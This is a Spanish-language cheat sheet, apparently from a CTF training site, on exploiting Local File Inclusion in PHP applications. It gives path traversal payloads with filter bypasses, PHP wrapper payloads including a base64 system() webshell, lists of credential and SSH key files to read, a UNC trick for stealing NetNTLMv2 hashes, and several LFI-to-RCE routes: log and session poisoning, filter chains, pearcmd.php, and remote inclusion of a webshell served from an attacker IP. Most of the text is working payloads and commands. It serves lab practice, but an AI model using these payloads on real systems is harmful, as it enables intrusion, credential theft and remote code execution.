LFI: de leer /etc/passwd a ejecutar comandos

Inclusión local de ficheros paso a paso: path traversal y sus bypasses, wrappers de PHP, qué ficheros leer en Linux y Windows, y las vías para convertir una LFI en RCE.

· 4 min de lectura

Una Local File Inclusion aparece cuando la aplicación construye una ruta con lo que le pasas (?page=contacto → include("pages/contacto.php")) sin comprobarla. Con ../ te sales de la carpeta y lees, o incluso ejecutas, otros ficheros del servidor.

Antes de nada, distingue qué tienes:

  • Lectura (file_get_contents, readfile, send_file...): ves el contenido tal cual. Sirve para robar ficheros.
  • Inclusión (include, require en PHP): el fichero se ejecuta si contiene código PHP. Esa es la que puede acabar en RCE.

Detectarla

?page=../../../../../../etc/passwd
?page=/etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=%252e%252e%252fetc%252fpasswd
?page=../../../../etc/passwd%00
Defensa que ves Bypass
Quitan ../ una sola vez ....// (al quitarlo queda ../)
Filtran ../ literal Codificación URL %2e%2e%2f o doble %252e%252e%252f
Añaden .php al final Wrappers (abajo) o null byte %00 en PHP < 5.3.4
Exigen que empiece por una carpeta pages/../../../../etc/passwd

Para probar muchas variantes de golpe:

ffuf -u 'http://web/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0

Truco

Si no sabes cómo se llama el parámetro, fuzzéalo primero: ffuf -u 'http://web/index.php?FUZZ=../../../../etc/passwd' -w burp-parameter-names.txt -fs <tamaño normal>.

Wrappers de PHP

Si el código es PHP, los wrappers son la herramienta principal.

# Leer el código fuente de un .php sin que se ejecute (sale en base64)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config

# Ejecutar código (requieren allow_url_include=On, poco habitual)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==&c=id
?page=php://input            (y el código PHP en el cuerpo de un POST)

# Con la extensión expect instalada (rarísimo)
?page=expect://id

Leer el código fuente es casi siempre el siguiente paso: te da credenciales de la base de datos, otras rutas vulnerables o el nombre exacto de los ficheros que incluye.

Qué ficheros leer

Linux

Fichero Para qué
/etc/passwd Usuarios con shell (y sus home)
/home/<usuario>/.ssh/id_rsa Clave privada: entrada directa por SSH
/proc/self/environ, /proc/self/cmdline Variables de entorno y comando del proceso web (a veces con secretos)
/proc/self/cwd/... Ficheros relativos a la carpeta de la aplicación
/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default Virtual hosts y dónde está el código
/var/www/html/config.php, .env, settings.py, application.properties Credenciales de la aplicación
/proc/net/tcp Puertos abiertos solo en local (en hexadecimal)

Windows

Fichero Para qué
C:\Windows\win.ini Comprobar que la LFI funciona
C:\inetpub\wwwroot\web.config Configuración de IIS, a veces con cadenas de conexión
C:\xampp\apache\conf\httpd.conf, C:\xampp\php\php.ini Rutas y configuración de XAMPP
C:\Users\<usuario>\.ssh\id_rsa Claves SSH

Nota

En Windows, una ruta UNC como \\10.10.14.5\x\a.php hace que el servidor se conecte a tu SMB. Con Responder o impacket-smbserver te llevas el hash NetNTLMv2 de la cuenta que ejecuta la web.

De LFI a RCE

Envenenar un log

Si puedes incluir el log del servidor web, escribe PHP en él (por ejemplo en el User-Agent) y luego inclúyelo:

curl -A '<?php system($_GET["c"]); ?>' http://web/
curl 'http://web/index.php?page=/var/log/apache2/access.log&c=id'

Logs típicos: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log (inyectando en el usuario de un SSH fallido) o /var/log/vsftpd.log.

Cuidado

Si tu PHP tiene un error de sintaxis, el log queda "roto" y cualquier inclusión posterior falla. Escribe el payload bien a la primera.

Sesiones de PHP

Si algo que controlas se guarda en la sesión (el nombre de usuario, el idioma...), está en /var/lib/php/sessions/sess_<PHPSESSID>. Pon PHP en ese valor e incluye el fichero.

Cadenas de filtros de PHP

Encadenando filtros convert.iconv de php://filter se puede fabricar cualquier texto, incluido código PHP, sin subir ningún fichero. Solo necesitas un include con la ruta controlada:

python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

La herramienta (de Synacktiv) te da una cadena enorme que pegas como valor del parámetro.

Subir un fichero e incluirlo

Si hay una subida de ficheros (una foto de perfil, un adjunto), aunque solo acepte imágenes, puedes subir un fichero con PHP dentro y luego incluirlo por su ruta. Si cambian la extensión, los wrappers zip:// y phar:// permiten incluir un PHP de dentro de un ZIP:

?page=zip:///var/www/html/uploads/avatar.jpg%23shell.php

pearcmd.php

En muchas imágenes Docker oficiales de PHP existe /usr/local/lib/php/pearcmd.php y register_argc_argv está activo. Incluyéndolo con argumentos en la URL puedes escribir un fichero con tu código:

?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET['c'])?>+/tmp/c.php

(Mándalo con Burp o curl, que el navegador codificaría < y ?.) Después, ?page=/tmp/c.php&c=id.

RFI

Si allow_url_include está activo (o en Windows, con rutas UNC), puedes incluir directamente un fichero tuyo:

echo '<?php system($_GET["c"]); ?>' > s.php && python3 -m http.server 80
# ?page=http://10.10.14.5/s.php&c=id

Mira las máquinas de RFI para ver casos reales.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

LFI / path traversal 50 máquinas

Ver las 50 máquinas →

Inclusión remota de ficheros (RFI) 3 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo